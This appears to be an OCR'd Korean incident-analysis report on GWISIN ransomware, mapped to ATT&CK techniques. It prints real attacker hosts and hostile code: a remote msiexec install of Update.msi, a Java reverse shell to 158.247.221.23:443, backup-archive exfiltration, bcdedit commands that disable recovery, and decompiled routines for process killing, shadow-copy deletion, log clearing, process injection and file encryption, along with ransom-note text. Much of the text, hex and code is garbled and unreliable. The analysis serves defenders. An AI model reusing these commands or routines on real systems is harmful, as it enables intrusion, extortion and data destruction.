ProcessIs o (2x0002000000000200) utntss FEFETIve Ntumssp
Processtiane - string X NTM
paddress - String TaE AHA -
- string T[] OE(NTLV B NTLM V2
Inersonationtevel  ¥¥1833 string 7l zol 128
providertd Saa48625-5478-4954-a500- e300 300 Guia o s 2 0 O § SRS EEEG HEELG
Provideriame Microsoft-Windows-Security-Auditing String - =
17192097 ) Intes M BEE 2028 0T 22 AAHO HEE LEIULIL 01X FE ASf NEIAS 22 HHIA E£ Winlogonerel Senices exedt 22 B2 ZZHAYLITE
Task 1254 (x00003100) 1ne32
TeskDisplayhome ogon string 212 9% Roe w4 2129 SHE USULLL 71T YUNY SES A0HE9 AUEADUC
Thresats 536 (0x0000025%) 132
TimeCreated 2021-10-08720:55:50.2942082 DateTime A E12 WEE M E12F UE AT § ZI28 ATE USEUG
version 1 (o1 oyte . N
| hessage A0l y3EeE EaguzeUD. ) HEQS BSE ¥ 212 930) AR UNE USULG ATAG0Y 0152 Y HBE + i HE OHLIH OIF IR0 B F + 2EUT

Path : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur
rentVersion\WSMAN\SafeClientList Key : WSManSafeClientLi
st

WInRME 0|&3}0{ SAXI7} K& 2| MH(141.164.41.194)0f| A 242
Of CI2EE A

2021-10-10701: so0  [Wshen =Xt starteag I mep{o-Wstan, 1-5tarted, Provideriiane=hstian
2021-10-10ToL 400 O1Z MER7F NoneOI Al Available(2)2 HEE . map{@=Available,l=None NewEngineState=Available
A 2021-10-10T61: 145 i% pecifi WsMan E Iden. map{operati ify, i ified)
EES 2021-10-10T01: 254 S% T8 map{}
X 2021-10-10701: 132 Justan B TeentifyS(E) REJSLICH map{operationiane=Identify
2021-10-10T01 403 BF DEIJT AvailableViM Stopped(S)E BZ.  map{0-Stopped,l-Available,2- NewEnginestate-stopped
2 2e21-10-10700: B 5 i2t g0 25 oo = oo
2021-10-10T01: 1040 [Windous Installer SWHM A%t E: http://L.. map{e=http://141.164.41.194/Update.nsi,1=2204, 2=(NULL),3=(NULL) ,=(NULL) 5= (NuLL) 6= -
2021-10-10T01: 12200 B8 ENE NEIZ Z: GetDiskFreespac.. Map{@-GetDiSKFreeSpaceex() for \\?\Volume(43C06C21-1600-40ed-at34-F57AD0bEaTeT )\ failed with 0x20008085,
setails 1 X Field Data
I E % Wt fnter search text here. P [Findovs mstaller ST AR & hitp./ 14116441154/ Updatemsi. BErOIBE EEAZ 1D, 2204]
¥ Name Value Bit Offset Bt Length Type
EventIn 1040 (2x00000410) mt32
Keywords 36028797016963968 (x0080000000000000) Intes
Level 4 (ax04) Byte
LevelDisplayliame 2 string
Channel Application string
Computer String
OpcodeDisplayNane String
EventData map{0=http://141.164.41.194/Update. msi, 1=2204, 2= (NULL) MapValu.
o http://141.164.41.194/Update .msi string
1 2208 String
2 (L) string
3 (woL) string
4 (woLL) String
s (woLL) string
6 string
ProviderNane Msilnstaller String
Qualifiers o (2x00000000) nt32
EventRecordId 339124513 (@x000000001436A121) Intes
Task o (2x00000000) Int32
TaskDisplayNane String
TineCreated 2021-10-10701:13:30.6000000 DateTim
Message windows Installer SWHM AIF F: nttp://141.164.41.19.. String
UserTd 5-1-5-21- -500 String

T1072 Software Deployment Tools



Third-Party &

ME 0|E510] A0 2 B 5HF

Try Pgm:

C:\Windows\System32\msiexec.exe, Param: /qn /i htt

/*kxxkkkkk_Update.msi SERIAL=[SERIAL] LICENSE=[LICENSE] OR
Pgm: C:\Windows\System32\msiexec.exe, Param: /qn /i http://
SERIAL=[SERIAL] LICENSE=[LICENSE] ORG=[company name] !!!
\msiexec.exe, Execute Succ!!!

T1570 Lateral Tool Transfer

SFTPE &3l Z2 HIERIA W CHE MHZ mhH (2Hawlof 23 nt) TS

|3l MEOf| M E 2HeAo] 2t Th (G A[EO] HE MO A | A{EH O]
SSH= &6t AlZtnt SY)

Fiename_ Path_ i . ) Modified #  Created

B .4d9b455d-5f41-40fc-964a-c65c585b5799 @ 1026048 WtmptY  2022-07-23 2= 8:42:47  2022-07-23 2% 8:42:47
root pts/0 172, P78 Sat Jul 23 20:42 - 20:42 (00:00)

Command and Control

T1071.001 Application Layer Protocol: Web

Protocols

[13/Jul/2022:20:35:00 +0900] "
[13/Jul/2022:20:36:17 +0900] "

'GET /js/unorm/unorm_loaded.php?w= N HTTP/1.1" 200 6712.185.220.101.43 - -
'GET /js/unorm/unorm_loaded.php ?w=/ N HTTP/1.1" 200 989.185.220.101.43 - -

[13/1ul/2022:20:36:57 +0900] "GET /js/unorm/unorm_loaded.php?w- I HTTP/1.1" 200 337.185.220.101.43 - -

[13/Jul/2022:20:37:13 +0900] "
[13/Jul/2022:20:38:03 +0900] "
[13/Jul/2022:20:38:16 +0900] "
[13/Jul/2022:20:39:01 +0900] "

[13/Jul/2022:20:39:23 +0900]
[13/Jul/2022:20:39:34 +0900]

[13/)ul/2022:20:39:41 +0900]
[13/ul/2022: 00 +0500]
[13/1ul/2022 00 +0900]
[13/1ul/2022 12 +0900]

124 +0900]

GET /js/unorm/unorm_loaded. php 2=/ HTTP/1.1" 200 11366.185.220.101.43 - -

'GET /js/unorm/unorm_loaded.php ?w=/ I HTTP/1.1" 200 882.185.220.101.43 - -
'GET /js/unorm/unorm_loaded.php?w=| iy HTTP/1.1" 200 620.185.220.101.43 - -
'GET /js/unorm/unorm_loaded.php ?w=/ I HTTP/1.1" 200 2280.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php ?w= N HTTP/1.1" 200 9.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php?w=/IJNY HTTP/1.1" 200 896.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php?w=IJY HTTP/1.1" 200 1145.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php?w= i HTTP/1.1" 200 636.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php?w= I HTTP/1.1" 200 9.185.220.101.43 - -

"GET /js/unorm/unorm_loaded.php 2=/ HTTP/1.1" 200 9.185.220.101.43 - -
: "GET /js/unorm/unorm_loaded.php ?vv=/E e HTTP/1.1" 200 130.185.220.101.43 - -
[13/Jul/2022:20:42:14 +0900] "

‘GET /js/unorm/unorm_loaded. php?w=

o AE HIO 2[2E

ifconfig cat ~/.bash_history last ls —-alhtr ~/ cat ~/Dum
p.sh ls —alhtr / 1s —-alhtr /root ls —alhtr /xxx 1s —alht
r /xxx/conf cat /xkx/conf/xxx.conf ping -c 1 [victim dom
ain] ping -c 1 [victim domain] 2 . nslookup [victim doma
in] 2>&1 ping -c 1 8.8.8.8



T1090.001 Proxy : Internal Proxy

TARHE AR MHE S8 L2 AAHOR Z2A| 22 S4 AT

Jul 15 19:50:53 [web] [error] </sxx/www/webapp/js/unorm
/unorm_Llib.php> at line 50 Error : fsockopen(): unable
to connect to [Victim IP]:80 (Connection timed out) Jul
15 19:50:53 [web] [error] </s%x/www/webapp/js/unorm
/unorm_lib.php> at line 50 Error : fsockopen(): unable
to connect to [Victim IP]:80 (Connection timed out) Jul
15 19:50:53 [web] [error] </xxkx/www/webapp/js/unorm
/unorm_lib.php> at line 50 Error : fsockopen(): unable
to connect to [Victim IP]:80 (Connection timed out)

[23/Jul/2022:19:38:32 +0900] "GET /js/unorm
/unorm_lib.php HTTP/1.1" 200 -.158.247.221.23 - -
[23/Jul/2022:19:38:32 +0900] "GET /js/unorm
/unorm_1lib.php HTTP/1.1" 200 -.158.247.221.23 - -
[23/Jul/2022:19:38:32 +0900] "GET /js/unorm
/unorm_Llib.php HTTP/1.1" 200 1964400.158.247.221.23 - -
[23/Jul/2022:19:38:32 +0900] "GET /js/unorm
/unorm_1lib.php HTTP/1.1" 200 -.158.247.221.23 - -
[23/Jul/2022:19:38:32 +0900] "GET /js/unorm
/unorm_lib.php HTTP/1.1" 200 -.158.247.221.23 - -
[23/Jul/2022:19:38:33 +0900] "GET /js/unorm
/unorm_lib.php HTTP/1.1" 200 -.158.247.221.23 - -

o3l cefe] OS HEE 2Hlst0] SAXS| Mz 2|HAH QE

if (System.getProperty("os.name").tolLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");

} else {
ShellPath = new String(“cmd.exe");

¥

Socket socket = new Socket( "158.247.221.23", 443 );

Process process = Runtime.getRuntime().exec( ShellPath );

( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();

< N - N

| Viictims 1 st Vi Victims 2 st !
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Exfiltration

T1048.003 Exfiltration Over Alternative Protocol:
Exfiltration Over Unencrypted Non-C2 Protocol

S 3l IR Xt /E

1s —alhtr /diskl/dump/**xx_backup cp /diskl
/dump/*k*k_backup/*x**_20220713.tar.gz /**xx/www/webapp
/js/unorm/*xxx_20220713.tar.gz s —alhtr mv
*kk_20220713.tar.gz skkk_20220713.bak mv xkk_20220713.bak
*kk_20220713.pdf [13/Jul/2022:21:54:57 +0900] "GET
/js/unorm/*xx_20220713.pdf HTTP/1.1" 200
1436796836.5.2.79.179 - - [13/Jul/2022:21:55:25 +0900]
"GET /js/unorm/xxkx_20220713.pdf HTTP/1.1" 200
1436796836.158.247.221.23 - - [13/Jul/2022:21:55:43
+0900] "GET /js/unorm/***_20220713.pdf HTTP/1.1" 200
1436796836.158.247.221.23 -

Impact

T1485 Data Destruction

2HE2A017t HIO|EE AES 12|52 = ¢S5t

v24 = memory_1[11];
if ( i # fread(ptr_malloc, lu, i, stream) )
break;

aes_encrpyt_algorithm_56658AA0(&off_56665E60, file_enc_key, &v21, ptr_malloc, ptr_malloc, n);
fseekobU(stream, -n, 0, 1);
fwrite(ptr_malloc, 1lu, n, stream);

sbox_56660960  db

db




T1489 Service Stop
07 LE MHIAE B=

if ( h_service_ )

{
service_6AEO1FFO(hSCManager_, h_service_);
ControlService(h_service__, 1lu, &ServiceStatus);
CloseServiceHandle(h_service__);

}
v3 = *Program_Kill_List_DB_6AE24040;

if ( *Program_Kill_List_DB_6AE24040 )

{

while ( wcsicmp(pe.szExeFile, v3) )

{
v3 = *x+Hv2;
if ( 1%v2 )
goto LABEL_9;
¥

vb = vi;

if C vd )

{
TerminateProcess(vd, 0);
CloseHandle(v5);

}
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vl = OpenProcess(lu, 0, pe.th32ProcessID);

sprintf(cmd, kill_vm_cmd, world_id);

system(cmd_1);
free(cmd_1);
}

else

{

printf(&shutdown_log_format, world_id);

}

T1490 Inhibit System Recovery

EEH=RHEE AHI5H0 S1E LR

v8 = 016U,
vO = SysAllocString(L"ROOT\\CIMV2");

vl = SysAllocString("w");



i64, 0, 3u, 0i6U, 0, 0i6U);

21u7u178>1) && 'LoLle telns tam ~(&stru 6AE21540 0i6l, lu, &unk_6AE21550, &ppv) )

T1529 System Shutdown/Reboot

Al QHE[ZH MR S| £FM 22|E floh AARS ML & R ER XY

=

Shutdown.exe /r /t 0

4. ANALYSIS GWISIN
RANSOMWARE

Windows Based(PE) GWISIN

ofdIFE= MSI 2 nt e 2 SAI5H0, MSI ot A™A| QIXgez £EF
7| 2S Hop H3l SiCh

msiexec /gn /i C:\\ProgramData\\[filename].msi
SERIAL=xx*xLICENSE=x%x*** SMM=0 VERSION=xx
ORG=xCompanyNamex

SMM =1

Ql2qHre OIXt I SMMZL0| 10|H AN TCE MH|A0 SE50 HFPE HE
DEZ X|AIS A|ZICE O|uf QPP ER 229 HA MH|A0 SEE|0] YT by
TETH A EICH

e SMM=1¢% AR &N HHE
MH|A ™ : filename

A3 A2 . "msiexec [gn /i C:\\ProgramData\\[filename].msi
SERIAL=****LICENSE=**** SMM=0 VERSION=**



ORG=*CompanyName*"

OYTES MHIAS S8f HBE 4 YTE AH|20| S5

v17[vid] = 0;
vi7[vid + 1] = 0;

vi7[vid + 2] = 0;
v1l6 = (CreateServiceA)(v9, File_name, File_name, 983551i64, 16, 2, 0, execute_key_buffer, 0i6l, 0i6l, v15, 0i6u, 0i6u)
(CloseServiceHandle) (v9); |

o NHIXEEZ)
a35Lri s = Ve 0|8 : HT  ONEH AR SE L2 ASKE
AH|A AJZ @337-'-' rinlevaad Xt Local System
- &l ActiveX Installer (AxinstSV)  QIE .. — Local System
Cr Alllnun Routar Sanvicra =¥l =
a3sfa -eslevaad54(EE ZEEH) X

¢ =ie =237 F2

0%

MH|£ 0| &: a3stexishzveska Local Service
BA| 0|&: a3Staisha ek Local System

Local System
23 Local System

Local System
Local Service
(E2].. Local Service
Local System
Local System
(E2]... Local System

Al kel 7 .
AT oY 3=

msiexec /qn /i C:#¥ProgramDatawa35t <52 ek msi SERIAL=4F1E <

X_|}
=3
=3
=(E2|.. Local Service
Local System
Local System
(E2].. Local Service
(E2]... Local System

AlZt SE(E): s v

system322| bcdedit.exe LS %programdata%dxdiag.exeZ 5
At

"C:\\ProgramData\\dxdiag.exe"
"C:\\Windows\\System32\\bcdedit.exe"

if ( sub_6E183BAO(System_SafeBoot_minimal)
& sub_6E183BA0(System_SafeBoot_msiServer)

& sub_6E183BA0(System_SafeBoot_VVS)
§& (CopyFileA )(path_bcdedit, path_dxdiag_exe_, 0i6u4) )

bcdedit.exeE SAISH dxdiag.exes LS 22 HHS Al =L

AZA| OHFIDER HE| 2l A Ol 2 MK

C:\\ProgramData\\dxdiag.exe /set {default}
bootstatuspolicy ignoreallfailures 'S& ZAifA| of2{ s
Z= C:\\ProgramData\\dxdiag.exe /set {default}
recoveryenabled No 'S+2E H[24st C:\\ProgramData

\\dxdiag.exe /set {default} safeboot minimal 'QIFZE
e

o bcdedit.exes= 2=
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Shutdown.exe /r /t 0

{
param = decode_rcid4_6E183A20(byte_6E1A2220, 9uiél);

shutdown_exe = decode_rcl_6E183A20(byte_6E1A2229, OxEui6L);
(ShellExeciteA_)(0i6u, , shutdown_exe, param, 0ié64, 0);

SafeBoot Zf0l|l HIX|AERZ| =S %3 Al OFF
HIASO| M3l & ~ JEE YXAEZYE S5

B axaEes By
2R BTE E71v) SARIA) =8TH)

{745A17A0-74D3-11D0-B6FE-00A0CI0FS7DA} All oz =5 L]
{9DA2BBOF-F89F-4A49-A5C2-511B0B5BIOESA)} ab) (7] =22 REG_SZ @ ER o E)
{ADAS88A4-CA6F-4B37-B7EA-C82FEBI870CE)
{D48179BE-EC20-11D1-B6B8-00C04FA372A7}
{D94EESD8-D189-4994-83D2-F68D7D41B0OEG}
{F2E7DD72-6468-4E36-B6F1-6488F42C1B52}
335K T ek
Ahcache.sys
Appinfo
AppMgmt
Base
BasicDisplay.sys
RacirRaender cuec

ZF EWHKEY_LOCAL_MACHINE®SYSTEM#CurrentControlSet#Control#SafeBoot#Minimalwa3 5t T e =% el

v

W ax2Eses ®#37|
TeH BLE 2V EARIQ SSEH)
dxgkrnl.sys All oz ==

ST

i)
2
m

£ a8 7122 REG_SZ
Eventlog

File system
Filter
FsDepends.sys
HelpSvc
Keylso

LSM

msiserver
Netlogon
NTDS

DI Canfinuratinn

Z FEWHKEY_LOCAL_MACHINE®SYSTEM#CurrentControlSet#Control#SafeBoot#Minimal#msiserver

w
mx
i
")
on

v

ﬁ ZXAEE HET|
DYF BEE E271V) SARIIA) ESTH)
UserManager N
VDS
vmms
volmgr.sys
volmgrx.sys
VSS
WinDefend
WinMgmt
WudfpPf
WudfRd
WudfSvc
Network
CrEvente

Z FEWHKEY_LOCAL_MACHINE#SYSTEM#CurrentControlSet#Control#SafeBoot#Minimal#Vss
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if ( SMM_key[0] =:
{

delete_reg_6E183C60(System_SafeBoot_minimal);
delete_reg_6E183C60(System_SafeBoot_msiServer);
DeleteService_6E181D00(_a35f23725b5feab2)

V69

_byteswap_ulong

_—int6tp_ulong(

_byteswap_ulong(:

_byteswap_ulong(a
C1)

SEED_6E1A2CCOL((v! ) > 16)] " SEED_6E1A28CO[((v9 ) > 8)] * dword_6E1A30COL(v9 " ~ v8) > 24] " dword_6E1A2uCO[(v9 * v6 * v8)];
SEED_6E1A2CCOL((v10 + ] ~ SEED_6E1A28COL[((v10 8 dword_6E1A36C6[ + ] " dword_6E1A24CO[(: + v9dl;
SEED_6E1A2CCOL((v1l + 16)] ~ SEED_6E1A28CO[( v dword_6E1A30C6[ > 4] ~ dword_6E1A24CO[(v1l + v10)];

_byteswap_ulong(v15);
esult;
_byteswap_ulong(v14);
_byteswap_ulong(v5);
_byteswap_ulong(vé);

AYIAE Szt Lue|E L SEED 2112|F S-Box

Park, et al. Informational [Page 8]
RFC 4009 The SEED Encryption Algorithm February 2005
- S-Box SS1

38380830, e828¢8e0, 2c2d0d21,a42686a2, ccofcfc3, dcleced2, bo3383b3, b83888b0,
ac2f8fa3, 60204060, 54154551, c407c7c3,44044440, 6¢24163, 682b4b63, 581b4b53,
c003c3c3,60224262, 30330333, b43585b1, 28290921, 20208020, €022c2e2,242787a3,
d013c3d3,90118191,10110111, 04060602, 1c1cOc10, bc3c8cbo, 34360632, 480bab43,
ec2fcfe3, 88088880, 6c2c4c60,a82888a0,14170713, c404c4c0, 14160612, f434cafo,
€002c2c2,44054541, e021clel, d416c6d2, 3c3f0F33,3c3d0d31, Bcoe8e82, 98188890,
28280820, 4cPeded2, 436612, 3c3ede32,a42585a1, f839c9f1,0c0d0d01, dc1fcfd3,
d818¢8d0, 282b0b23, 64264662, 783a4a72, 24270723, 2c2f023, fO31c1f1,70324272,
40024242, d414c4d0, 40014141, c00OCOCO, 70334373, 64274763, ac2c8cad, 880b8bS3,
f437¢7f3,ac2d8dal, 80008080, 1c1f0f13, c8Racac2,2c2c0c20, a82a8aa2, 34340430,
d012c2d2,080b0b03, ec2ecee2,e829c9el, 5c1d4d51,94148490, 18180810, f838c8f0,
54174753, ac2e8ea2, 08080800, c405c5c1,10130313, cc@dcdcl, 84068682, b83989b1,
fc3fcff3,7¢3d4d71, c0@1clcl, 30310131, f435c5f1, 880a8a82, 682a4a62,b03181b1,
do11cldl,20200020,d417c7d3,00020202,20220222,04040400,68284860,70314171,
04070703, d81bcbd3,9c1d8d91, 98198991, 60214161, bc3eBeb2, e426c6e2, 58194951,
dcldcddl,50114151,90108090, dclcccdd, 981a8a92,a02383a3, a82b8ba3, d010c0do,
80018181,0c0f0f03,44074743,181a0a12, e023c3e3, ec2ccced, 8c0d8d81, bc3f8fb3,
94168692, 783b4b73, 5c1c4c50,a02282a2,a02181a1, 60234363, 20230323, 4c0d4d41,

system32_path = sub_6E1812U0(File_Execute_key_Buffer);
v106 = sub_6E1815A0(system32_path, 2029348U85)

Allocmem = (VirtualAlloc_)(lpAddress, 0ié4, size_u, 12288i64, U)
(WriteProcessMemory) (
1pAddress,
Allocmem,
DecomBuf_,
size_U,
eie6l)
vide = 0
if ( (VirtualProtectEx_)(
lpAddress,
Allocmem,
size_U,
32i6U,
&viue) )

v150 = 0i6l;
(RtlCreateUserThread
lpAddress,
0i6l,
Qieu



https://seed.kisa.or.kr/kisa/algorithm/EgovSeedInfo.do
https://seed.kisa.or.kr/kisa/algorithm/EgovSeedInfo.do

GWISIN RANSOM

FA 2™ AdHBFEE= SAKXTL APHO| Moo LHES ECHZ niY S 453}
StCt. 2 §§+0ﬂ RSA-AES Z112|E0| AIEE[RICn, DY St A| 2455}
c

ntEol YRS 7| U2 HF ST,

0x1F0001u, 0, MutexName);
if ( h_Mutex )
{

}

else

{
MutexW = Crea
if ( MutexW )

CloseHandle(h_Mutex);

if ( size == 0 || mem_alloc == 0i64 )
return 0ieéd;

if ( !encrypted_data )
return 0iéd;

v7[0] = _mm_load_sil28(&stru_6AE20280);

v7[1] 2™n_load_si128(8stru_6AE20290);
if ( key_stream_6AEOBAUO(key, V7, 0x20ui6d) )
return 0iéu;
Decode_6AEOBIDO(key, encrypted_data, mem_alloc, size);
return mem_alloc;

Y TE WO rc4=E =St E|0] EURUE json F=2| Y0 2t O
Ol 553}

61 10 CC 4F BF 4E C5 70 D8 86 6A 2E 63 62 4C A8 59 FD 6A 92 56 CO F1 37 77 23 F8 5C
D8 F3 C2 C3 FA F5 98 5D B@ 78 72 7B @05 9F 5E 9F 39 D1 A6 A5 AF 9E 5F B9 93 6E 6C B5S
rw— 9E 32 8F 13 C2 FF 96 77 @1 OE 79 9A 89 1D OC 19 D6 A3 94 F9 4C 5D 0D AB 53 32 SE FB
10 64 F9 AG 32 55 DF 45 4C 5F .. HEX™  AC 03 13 AD BF 12 03 1F 92 85 B5 89 F2 94 05 74 A6 65 B0 E0 C8 FD B2 C3 67 4A Al 2F
AD 34 25 97 42 DA 27 45 E7 4A 74 CF 11 01 37 D2 75 3B 79 B7 53 7D 27 66 77 6B 63 89

Input format Output format 22 2C 74 56 16 80 96 A3 0C 42 6A 16 D4 32 2A 88 E3 5A AC OA C3 CD F2 5E 71 9E 40 19
Hex Latin FC 6E CO 7A C9 52 E1 ES FF EE 05 (8 63 EF 11 15 04 78 FE 29 F6 0D OA 45 42 0C 7A 14
—_— 8C E2 F7 DC 3E FA 74 2D EE OE BC 9A BO E7 36 FB 65 07 1E 42 ED 15 ED 50 2E AD 52 AB
65 02 FF CC 11 E5 9C 3E 22 51 AD E4 58 38 1F F2 E0 98 FE F9 CC 37 E1 D4 89 87 OF 58

38 AA D5 B3 D9 57 01 86 OE 2E 7D 21 EF 12 E6 40 AA 49 E5 74 00 3B 72 B1 9E 92 05 OF

DF 99 3C BA 67 C2 CD D9 75 59 02 93 60 A9 DD 3D 65 F1 E3 60 7F CO E2 71 40 23 C9 41

51 67 87 9A 76 87 48 F7 E7 3C FD 0D 34 97 20 C4 7E 31 B8 FE 01 C7 4E E1 BB 3D 3C C9

FE 59 3E 54 19 CD F9 1E CC B1 83 1F 74 DE D8 53 8A E5 96 8A 21 00 56 28 10 71 FC BC

RC4 S

time: 13ms

B ra
Output Lenoth:lcese B0 ® (o
{"db": ["program files (xBG)","program
files","msocache","boot","intel","$windows.~bt","$windows.~ws","windows.old","windo
ws","perflogs","system volume information","$recycle.bin","tor
browser","mozilla","google","programdata","application data","appdata","all
users", “w1ndow510upgrade“],
[®ssys"; " sexe'; " «dll”," ;mus!

’

“.rtp",".nomed
rom", " dry*, "
.bat",". o . . .theme",".ocx",".prf",".cab"

,".diagcfg",".msu",".cmd"," . ico .icns",".diagpkg",".deskthemepack",

woicl, i

ia",".hta"," . y . spl”,".mpa",

key comment description



db directory blacklist &3} M| CHA C|HEZ| 22

eb extension LSt M2 Chef oty =X =5
blacklist
fb file blacklist otSs M I 22
pk process Kill ZIEF TENA S
sk service Kill SR MH|A =5
wp wall paper base64(wallpaper)
nd note data base64(Ransom note data)
nn note name M_HOW_TO_UNLOCK_[compayname]_FILES
ef encrypt Folder FQ Aol CHA 2O

ransom data json
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Process, Service 2E 0|™ AMH|

A S|

if ( h_service_ )

{
service_6AEQ1FFO(hSCManager_, h_service_);
ControlService(h_service__, 1lu, &ServiceStatus);
CloseServiceHandle(h_service_);

}
v3 = *Program_Kill_List_DB_6AE240L0;
if ( *Program_Kill_List_DB_6AE24040 )
{

while ( wcsicmp(pe.szExeFile, v3) )

{
V3 = *x+Hv2,
if ( !*v2 )
goto LABEL_9;
¥

vl = OpenProcess(lu, 0, pe.th32ProcessID);
v5 vy,
if C vd )
{
TerminateProcess(vid, 0);
CloseHandle(v5);




vl = SysAllocString("w");

v2 = SysAllocString(L"SELECT * FROM Win32_ShadowCopy");

CoInitializeEx(0i6l, 0);

v3 = CoInitializeSecurity(e@ié4, -1, 0ie6d, 0ié6d, 0, 3u, 0i6d, 0, 0i6U);

if ( (!v3 || v3 == -2147417831) && !CoCreateInstance(&stru_6AE21540, 0i64, lu, &unk_6AE21550, &ppv) )
{

%temp%/wallpaer.jpg 44A

Hello Wi

You have been visited by GWISIN
Search for our note in any of your encrypted folders called
"I_HOW_TO_UNLOCK_ yH™T¥¢ FILES_!NL.TXT"

ChannelPathBufferUsed[0] = 0;
v0 = EvtOpenChannelEnum(0i6l, 0);

; EvtClearLog(@ied, i, 0ied, 0) )

if ( !EvtNextChannelPath(v®, v1, i, ChannelPathBufferUsed) )
{
LastError = GetLastError();
if ( LastError == 0x103 )
goto LABEL_9;
if ( LastError == Ox7A )
{
vl = ChannelPathBufferUsed[0];
vl = realloc(i, 2i64 * ChannelPathBufferUsed[0]);
v5 vy,
if vl )
{
LABEL_9:
EvtClose(v0);
if (i)
free(i);
return;
}
EvtNextChannelPath(v@, v1, vi4, ChannelPathBufferUsed);
i = v5;

opYBEL 7} IS 9ofet LSt 20| TIEHAF AIAHS| HHUSS s
<)



Public Key T

RSA Algorithm

FILE.ransomO

Encrypt (File encrypt Key)

Gen AES Key Encrypt 0x10000
FILE FILE.ransom
AES Algorithm

Encrypt (Origin File)

o 7| MM motSsl Al 7| #E| ghHe ofziet 2t

1. 2t ofdoict 0 7] MM (KEY : 32byte Key, IV : 16 byte
key)

2. AES Key, IVZ}2 RSA Public KeyZ 0|2 253}, Filename.
[Z/ah7|¥H]+'0'2 NME

3. ‘HEE AES Key, IV S Sdll It FS3st

4. A=st E nfHo| EHXIE Filename. [L]3l 7|¥H] 2 HY

ojmfj A=a A2 ol AIZF 2221 0x0 FE 0x10000byte 7HX|
S} §IT},

offsec (n) 1 02 03 04 05 06 07 08 09 OB oc op oE Decoded text offset (n) 00 07 08 09 OA 0B OC 0D OE OF Decoded text
0000FF00 KISAKISAKISAKISA ~0000FFOO *.OKG1g=3"A". . 0D
0000FF10 KISAKISAKISAKISA 0000FF10 bl-Al%>"Ai.21 .6
0000FF20 KISAKISAKISAKISA 0000FF20 z-0\peh., 'wdxa.0
0000FF30 KISAKISAKISAKISA  0000FF30 .26Yo«6£12yg5. %0
0000FF40 KISAKISAKISAKISA ~0000FF40 4E.°0:#, 'E.">CK
0000FF50 KISAKISAKISAKISA 0000FFSO - TO30N#@%*;1;AqQ
0000FF60 KISAKISAKISAKISA O0000FF60 *1Y.m8 (\*.ak
0000FF70 KISAKISAKISAKISA  0000FF’ >BRACEFr—+QEI
0000FF80 KISAKISAKISAKISA ~0000FF80 o, >*1.%BUe515
0000FF90 KISAKISAKISAKISA  0000FF90 k"6 -£60. }@BTpR

KISAKISAKISAKISA  0000FFRO 2 b A
KISAKISAKISAKISA  0000FFBO
KISAKISAKISAKISA  0000FFCO
KISAKISAKISAKISA ~ 0000FFDO
KISAKISAKISAKISA ¢

KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA
KISAKISAKISAKISA

SAKISAKISAKISA
KISAKISAKISAKISA

Linux Based(ELF) GWISIN

22 7|gto] 74 N0l TR 4l WALl 715 U BEITH At

AIIEE [tmp/ 5H2(0l TS BHED FEIAQL ZH0| AL

O

s y(file, "/tmp/.siftik:

h e = openéU(file, 66);
= h_file;

iF ( h_file > 0 )

v63[0]




v63[5] = getpid();
h_file = fcentl(v7, 13, v63);
if ( h_file *= -1 )

K= ! HE01Lt OFEIHX| 2 jsonH|0|E| 7t re42 2|52 AS 5}
o

=
£ e, 5535} Al CH22 22 2SS =l & 4 Ct

.
Getdata_decode_56657DA0(&data_, &v51, &size);
size_ = size;

vl = malloc(size);

ptr = vi;

if (vl)

{

size_v37 = size_;

alloc_mem_ = vi;

rcl_dec_565F08F0(data_, vl, size_v37);

ransom_db_ = sub_5665E270(alloc_mem_, dword_56666160) ;

key comment description
db directory blacklist &3l Q| CiAt ClEER| 22
sk service Kkill ZZ& MHA B2
fb file blacklist LS HQ oY ==
ef encrypt Folder =L oS5t oA EH
eb extension S35t H|Q| CHAF mHY EHAIXt 22
blacklist
nd note data base64(Ransom note data)
nn note name M_HOW_TO_UNLOCK_[compayname]_FILES_!!’

ransom data json
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3. ZYMIH| B5AIE 21Lor/| Flon A|=E /& 338V &8 % &aner= Ha

E A
4. I Hot £ 5 7| Horetdol| oigh X[A|1} H|=LA O[S =7t =5

5. 7259 AL thS R =X|E Falist7| ?lsl (2t 2HS B

FAl 20 IE2 Defense Evasion 7|2 Ct HESIULH ZHAE A&
Hlo| 242 Hdliot7| ls 2= O[HIERTIE AlA|otl, 57 WX|E 2loll 2&
H =R E APHISICH ESH 2 o] 2 Al QIMEEZ REISH0] Bl A EFX|E
S||stet. BHMRY = Serial code®t License codeE 1= BHOOFX| T A
SHIAE dA0 dHIE SHTIOE 2M0| E7tsotCt. Qe ZHlA 7|s
Ol # MEE A= HOl ZAX= oAt M0 X|A0] Qls A= Tt

OEE
é
E
_>.'_
EE_
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_O'L
r0|| F|r
Ay 1
>
jo
HT
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= $I3H =LH ’E‘?ﬁ(%g* e

#2OIL|2t =L DRM £RHS 7| LRI AHE5tL s £F4at HIX|L
AE 0l3fi5t1 0|2 Sall o Xz 7|YHof|A &Ets 7
HE-Eof| YEES 22| ®MAZHE X|FAKXIX| 3L} 2h= 278 HO{=UALL
To| B, IHEE EES 2E|XHA 2l 1IS027001 2oL 2,
DS

Ot Al3HSED Q= ISMS-P, PIMSZ 2 ZLHO|A 2 ARSI HEEHS 22|

By combining lab (LIMS) data and the primary big customer platform (DNA), it is easy to identify
customer projects, credentials and data.

Despite IS027001 and ISMS-P with a good PIMS strategy, you have failed to protect customer data
across all services.

oryACe| Mg OIX}, MAE S| Tj3 7| 7IYYS Helsh oA 3
Q Lp A D517| Ofi7H| BHS IO, BRt0lLIZE L) B, KISA 22 HsiAlD
A1 7|22 £22 5 4 gloL] 5K U2in J|RTES S5 S|
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[WARNING]
Do NOT contact law enforcement (such as NPA, KISA or SMPA) or threat intelligence organizations
as they may prevent you from recovering quickly.

They can't really help you and they don't care if your business is destroyed in the process.
Contact us within 72 working hours, so we can negotiate in good faith and resolve this quickly.
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6. Insight for Information Security
Officer
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7. Conclusion
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